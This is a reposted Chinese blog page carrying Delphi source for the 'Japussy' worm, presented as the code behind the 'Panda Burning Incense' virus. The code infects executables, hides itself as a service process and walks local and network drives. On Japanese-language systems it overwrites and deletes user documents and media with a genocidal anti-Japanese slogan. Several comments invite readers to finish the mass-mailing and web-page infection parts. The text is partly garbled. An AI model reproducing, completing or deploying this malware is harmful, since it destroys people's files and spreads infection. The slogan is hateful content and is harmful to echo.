zoukankan      html  css  js  c++  java
  • [*转*] 网络上流传的“熊猫烧香”病毒代码

    其实代码是  2003年的Crossbow病毒放源代码计

    program Japussy;
    uses
    Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
    const
    HeaderSize = 82432;             //
    病毒体的大小
    IconOffset = $12EB8;           //PE
    文件主图标的偏移量
    //
    在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
    //
    2800000020的十六制字符串可以找到主图标的偏移量
    {
    HeaderSize = 38912;             //Upx
    压缩过病毒体的大小
    IconOffset = $92BC;             //Upx
    压缩过PE文件主图标的偏移量
    //Upx 1.24W 
    用法: upx -9 --8086 Japussy.exe
    }
    IconSize   = $2E8;             //PE
    文件主图标的大小--744
    IconTail   = IconOffset + IconSize; //PE
    文件主图标的尾部
    ID       = $44444444;         //
    感染标记
    //
    垃圾,以写入
    Catchword = 'If a race need to be killed out, it must be Yamato. ' +
            'If a country need to be destroyed, it must be Japan! ' +
            '*** W32.Japussy.Worm.A ***';
    {$R *.RES}
    function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
    stdcall; external 'Kernel32.dll'; //
    函数声明
    var
    TmpFile: string;
    Si:     STARTUPINFO;
    Pi:     PROCESS_INFORMATION;
    IsJap:   Boolean = False; //
    日文操作系统标记
    判断是否Win9x }
    function IsWin9x: Boolean;
    var
    Ver: TOSVersionInfo;
    begin
    Result := False;
    Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
    if not GetVersionEx(Ver) then
      Exit;
    if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
      Result := True;
    end;
    在流之间复 }
    procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
    dStartPos: Integer; Count: Integer);
    var
    sCurPos, dCurPos: Integer;
    begin
    sCurPos := Src.Position;
    dCurPos := Dst.Position;
    Src.Seek(sStartPos, 0);
    Dst.Seek(dStartPos, 0);
    Dst.CopyFrom(Src, Count);
    Src.Seek(sCurPos, 0);
    Dst.Seek(dCurPos, 0);
    end;
    将宿主文件从已感染的PE文件中分离出来,以使用 }
    procedure ExtractFile(FileName: string);
    var
    sStream, dStream: TFileStream;
    begin
    try
      sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        dStream := TFileStream.Create(FileName, fmCreate);
        try
        sStream.Seek(HeaderSize, 0); //
    过头部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
        finally
        dStream.Free;
        end;
      finally
        sStream.Free;
      end;
    except
    end;
    end;
    填充STARTUPINFO }
    procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
    begin
    Si.cb := SizeOf(Si);
    Si.lpReserved := nil;
    Si.lpDesktop := nil;
    Si.lpTitle := nil;
    Si.dwFlags := STARTF_USESHOWWINDOW;
    Si.wShowWindow := State;
    Si.cbReserved2 := 0;
    Si.lpReserved2 := nil;
    end;
    发带 }
    procedure SendMail;
    begin
    //
    哪位仁兄愿意完成之?
    end;
    感染PE文件 }
    procedure InfectOneFile(FileName: string);
    var
    HdrStream, SrcStream: TFileStream;
    IcoStream, DstStream: TMemoryStream;
    iID: LongInt;
    aIcon: TIcon;
    Infected, IsPE: Boolean;
    i: Integer;
    Buf: array[0..1] of Char;
    begin
    try //
    错则文件正在被使用,退出
      if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //
    是自己不感染
        Exit;
      Infected := False;
      IsPE   := False;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      try
        for i := 0 to $108 do //
    检查PE文件
        begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE
    标记
        begin
          IsPE := True; //
    PE文件
          Break;
        end;
        end;
        SrcStream.Seek(-4, soFromEnd); //
    检查感染标记
        SrcStream.Read(iID, 4);
        if (iID = ID) or (SrcStream.Size < 10240) then //
    太小的文件不感染
        Infected := True;
      finally
        SrcStream.Free;
      end;
      if Infected or (not IsPE) then //
    如果感染了或不是PE文件退出
        Exit;
      IcoStream := TMemoryStream.Create;
      DstStream := TMemoryStream.Create;
      try
        aIcon := TIcon.Create;
        try
        //
    得到被感染文件的主图标(744),存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
        finally
        aIcon.Free;
        end;
        SrcStream := TFileStream.Create(FileName, fmOpenRead);
        //
    文件
        HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
        try
        //
    写入病毒体主图标之前的数据
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //
    写入目前程序的主图标
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //
    写入病毒体主图标到病毒体尾部之的数据
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //
    写入宿主程序
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //
    写入已感染的标记
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
        finally
        HdrStream.Free;
        end;
      finally
        SrcStream.Free;
        IcoStream.Free;
        DstStream.SaveToFile(FileName); //
    宿主文件
        DstStream.Free;
      end;
    except;
    end;
    end;
    将目文件写入垃圾 }
    procedure SmashFile(FileName: string);
    var
    FileHandle: Integer;
    i, Size, Mass, Max, Len: Integer;
    begin
    try
      SetFileAttributes(PChar(FileName), 0); //
    去掉只属性
      FileHandle := FileOpen(FileName, fmOpenWrite); //
    文件
      try
        Size := GetFileSize(FileHandle, nil); //
    文件大小
        i := 0;
        Randomize;
        Max := Random(15); //
    写入垃圾的随机次数
        if Max < 5 then
        Max := 5;
        Mass := Size div Max; //
    的大小
        Len := Length(Catchword);
        while i < Max do
        begin
        FileSeek(FileHandle, i * Mass, 0); //
    定位
        //
    写入垃圾,将文件底破坏掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
        end;
      finally
        FileClose(FileHandle); //
    关闭文件
      end;
      DeleteFile(PChar(FileName)); //
    除之
    except
    end;
    end;
    得可写的驱动器列表 }
    function GetDrives: string;
    var
    DiskType: Word;
    D: Char;
    Str: string;
    i: Integer;
    begin
    for i := 0 to 25 do //
    26个字母
    begin
      D := Chr(i + 65);
      Str := D + ':\';
      DiskType := GetDriveType(PChar(Str));
      //
    得到本地磁和网络盘
      if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
        Result := Result + D;
    end;
    end;
    ,感染和摧文件 }
    procedure LoopFiles(Path, Mask: string);
    var
    i, Count: Integer;
    Fn, Ext: string;
    SubDir: TStrings;
    SearchRec: TSearchRec;
    Msg: TMsg;
    function IsValidDir(SearchRec: TSearchRec): Integer;
    begin
      if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
        (SearchRec.Name <> '..') then
        Result := 0 //
    不是目
      else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
        (SearchRec.Name <> '..') then
        Result := 1 //
    不是根目
      else Result := 2; //
    是根目
    end;
    begin
    if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
    begin
      repeat
        PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //
    整消息列,避免引起怀
        if IsValidDir(SearchRec) = 0 then
        begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = '.EXE') or (Ext = '.SCR') then
        begin
          InfectOneFile(Fn); //
    感染可行文件     
        end
        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
          //
    感染HTMLASP文件,将Base64编码后的病毒写入
          //
    感染浏览此网的所有用
          //
    哪位大兄弟愿意完成之?
        end
        else if Ext = '.WAB' then //Outlook
    地址簿文件
        begin
          //
    Outlook件地址
        end
        else if Ext = '.ADC' then //Foxmail
    地址自完成文件
        begin
          //
    Foxmail件地址
        end
        else if Ext = 'IND' then //Foxmail
    地址簿文件
        begin
          //
    Foxmail件地址
        end
        else 
        begin
          if IsJap then //
    是倭文操作系
          begin
            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
            (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
            (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
            (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
            (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
            (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
              SmashFile(Fn); //
    文件
          end;
        end;
        end;
        //
    感染或除一个文件后睡眠200毫秒,避免CPU占用率高引起怀
        Sleep(200);
      until (FindNext(SearchRec) <> 0);
    end;
    FindClose(SearchRec);
    SubDir := TStringList.Create;
    if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
    begin
      repeat
        if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
      until (FindNext(SearchRec) <> 0);
      end;
    FindClose(SearchRec);
    Count := SubDir.Count - 1;
    for i := 0 to Count do
      LoopFiles(Path + SubDir.Strings + '\', Mask);
    FreeAndNil(SubDir);
    end;
    上所有的文件 }
    procedure InfectFiles;
    var
    DriverList: string;
    i, Len: Integer;
    begin
    if GetACP = 932 then //
    日文操作系
      IsJap := True; //
    去死吧!
    DriverList := GetDrives; //
    得到可写的磁列表
    Len := Length(DriverList);
    while True do //
    死循
    begin
      for i := Len downto 1 do //
    历每个磁盘驱动
        LoopFiles(DriverList + ':\', '*.*'); //
    感染之
      SendMail; //
    发带
      Sleep(1000 * 60 * 5); //
    睡眠5
    end;
    end;
    主程序 }
    begin
    if IsWin9x then //
    Win9x
      RegisterServiceProcess(GetCurrentProcessID, 1) //
    注册务进
    else //WinNT
    begin
      //
    线程映射到Explorer
      //
    哪位兄台愿意完成之?
    end;
    //
    如果是原始病毒体自己
    if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
      InfectFiles //
    感染和发邮
    else //
    已寄生于宿主程序上了,始工作
    begin
      TmpFile := ParamStr(0); //
    临时文件
      Delete(TmpFile, Length(TmpFile) - 4, 4);
      TmpFile := TmpFile + #32 + '.exe'; //
    真正的宿主文件,多一个空格
      ExtractFile(TmpFile); //
    分离之
      FillStartupInfo(Si, SW_SHOWDEFAULT);
      CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
        0, nil, '.', Si, Pi); //
    建新程运行之
      InfectFiles; //
    感染和发邮
    end;
    end.

  • 相关阅读:
    java基础——标准输入输出重定向,数据流
    java基础——对象流,序列化机制Serializable
    java基础——包装流
    java基础——随机访问流
    java基础——流体系,字符流和字节流基本用法
    读取 xml 文件 获取其中保存的数据信息
    批处理 获取某个文件的,特定 两列,可以修改用来做相关的操作
    写一个最简单的 Server
    对 JDBC 做一个轻量封装,待完善。。。
    从source folder 下将其所有子文件夹的*.* 文件拷贝到 target folder (不拷贝文件夹名仅拷贝文件)
  • 原文地址:https://www.cnblogs.com/temptation/p/640998.html
Copyright © 2011-2022 走看看